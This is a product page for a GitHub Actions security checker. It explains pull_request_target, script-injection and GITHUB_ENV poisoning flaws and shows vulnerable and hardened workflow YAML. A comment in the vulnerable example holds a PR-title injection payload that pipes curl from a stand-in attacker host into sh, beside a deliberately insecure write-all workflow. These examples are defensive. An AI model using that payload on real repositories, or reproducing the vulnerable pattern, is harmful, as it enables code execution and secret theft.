Free pull_request_target & Script Injection RCE Checker for GitHub Actions (0 Upload)
Paste or drop any private .github/workflows/*.yml file to detect
pull_request_target PR head checkout RCE (GHA011),
workflow_run untrusted artifact execution (GHA012),
${{ github.event.* }} shell injection (GHA013), and
$GITHUB_ENV / $GITHUB_PATH poisoning (GHA014–GHA015)—100% locally in
your browser with zero uploads and zero GitHub OAuth.
.github/workflows/*.yml files or paste YAML below.
Verified 0 outbound requests in DevTools Network tab.
Offline Hardened YAML Patch (Unified Diff)
Pwn Request, Script Injection & Runner Poisoning Rules Checked
RunnerProof inspects both direct RCE primitives (GHA011–GHA016) and the privilege amplifiers
(GHA018, GHA019, GHA027) that turn a fork pull request into a full
repository or cloud account takeover.
| Rule | Severity | Attack Primitive & Exploit Path | CWE | Safe Remediation Pattern |
|---|---|---|---|---|
GHA011 |
error |
pull_request_target + untrusted PR head checkout (Pwn Request RCE) |
CWE-94 |
Use unprivileged pull_request trigger, or split untrusted execution from privileged commenting via workflow_run. |
GHA012 |
error |
Privileged workflow_run downloads or executes untrusted artifacts |
CWE-94 |
Parse downloaded artifacts strictly as inert data (validated JSON/integers), never source or execute files from them. |
GHA013 |
error |
Script injection via untrusted ${{ github.event.* }} in run: |
CWE-78 |
Bind the expression to a step env: variable and reference it double-quoted ("$PR_TITLE") in the shell. |
GHA014 |
error |
Unvalidated write to $GITHUB_ENV (environment poisoning) |
CWE-74 |
Never write untrusted PR metadata to $GITHUB_ENV; use randomized heredoc delimiters and strict variable allowlists. |
GHA015 |
error |
Unvalidated write to $GITHUB_PATH (PATH hijacking) |
CWE-426 |
Only add verified absolute paths owned by the runner/root to $GITHUB_PATH. |
GHA016 |
warning |
Cache poisoning on privileged or untrusted triggers |
CWE-494 |
Use actions/cache/restore (read-only) on untrusted triggers and key strictly on lockfile hashes. |
GHA018 / GHA019 |
error |
permissions: write-all or high-risk write scopes on PR triggers |
CWE-250 / CWE-269 |
Declare top-level permissions: { contents: read } and isolate any required write scope to a single minimal job. |
GHA027 |
error |
Self-hosted runner exposed to untrusted pull requests |
CWE-250 |
Run untrusted PR workflows exclusively on ephemeral GitHub-hosted runners (ubuntu-latest). |
Before & After: Fixing pull_request_target + Script Injection Safely
Vulnerable pattern (triggers GHA011, GHA013, GHA018): checking out the
fork head and interpolating ${{ github.event.pull_request.title }} directly in run:.
# VULNERABLE: Attacker PR title `"; curl attacker.tld/x | sh #` achieves RCE with secrets
on:
pull_request_target:
types: [opened, synchronize]
permissions: write-all
jobs:
check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: echo "Checking PR: ${{ github.event.pull_request.title }}"
Hardened pattern (0 findings across all 32 rules): unprivileged pull_request trigger, top-level
read-only permissions, 40-char SHA pinning with persist-credentials: false, and shell-safe
env: binding.
# HARDENED: Unprivileged trigger, 40-char SHA pin, read-only token, env-isolated PR metadata
on:
pull_request:
branches: [main]
permissions:
contents: read
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
jobs:
check:
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
persist-credentials: false
- name: Inspect PR title safely
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: printf 'Checking PR: %s\n' "$PR_TITLE"
Block Pwn Requests Automatically on Every Pull Request (CLI + SARIF Gate)
Use the browser checker above for instant zero-upload triage. To block pull_request_target RCE,
script injection, and mutable SHA regressions across every repository in CI—with local
git ls-remote SHA auto-pinning, SARIF 2.1.0 GitHub Code Scanning alerts, and signed SOC 2 / EU
CRA auditor dossiers—get runnerproof-cli for a single one-time payment (no subscription):
Frequently Asked Questions
Why is pull_request_target + PR head checkout an instant RCE?
pull_request_target executes in the base repository's context with repository secrets and a
write-capable GITHUB_TOKEN. Checking out github.event.pull_request.head.sha or
head.ref and running build, lint, or test commands executes attacker-controlled code from an
untrusted fork with full repository privileges.
How do I fix ${{ github.event.* }} script injection?
Move the expression out of run: into a step-level env: block (for example
PR_TITLE: ${{ github.event.pull_request.title }}) and reference it double-quoted as
"$PR_TITLE" inside the shell script so the shell never parses metacharacters.
What if I still need to comment on a fork PR or apply labels?
Split untrusted builds into an unprivileged pull_request workflow with
contents: read and zero secrets, upload a strictly validated data-only artifact, and use a
separate workflow_run workflow that posts the comment without executing any fork code.
Does RunnerProof upload my private workflows when scanning?
No. All 32 deterministic rules run 100% locally in browser memory via runnerproof-bundle.js
(0 bytes uploaded, 0 outbound requests during scanning, 0 GitHub App OAuth).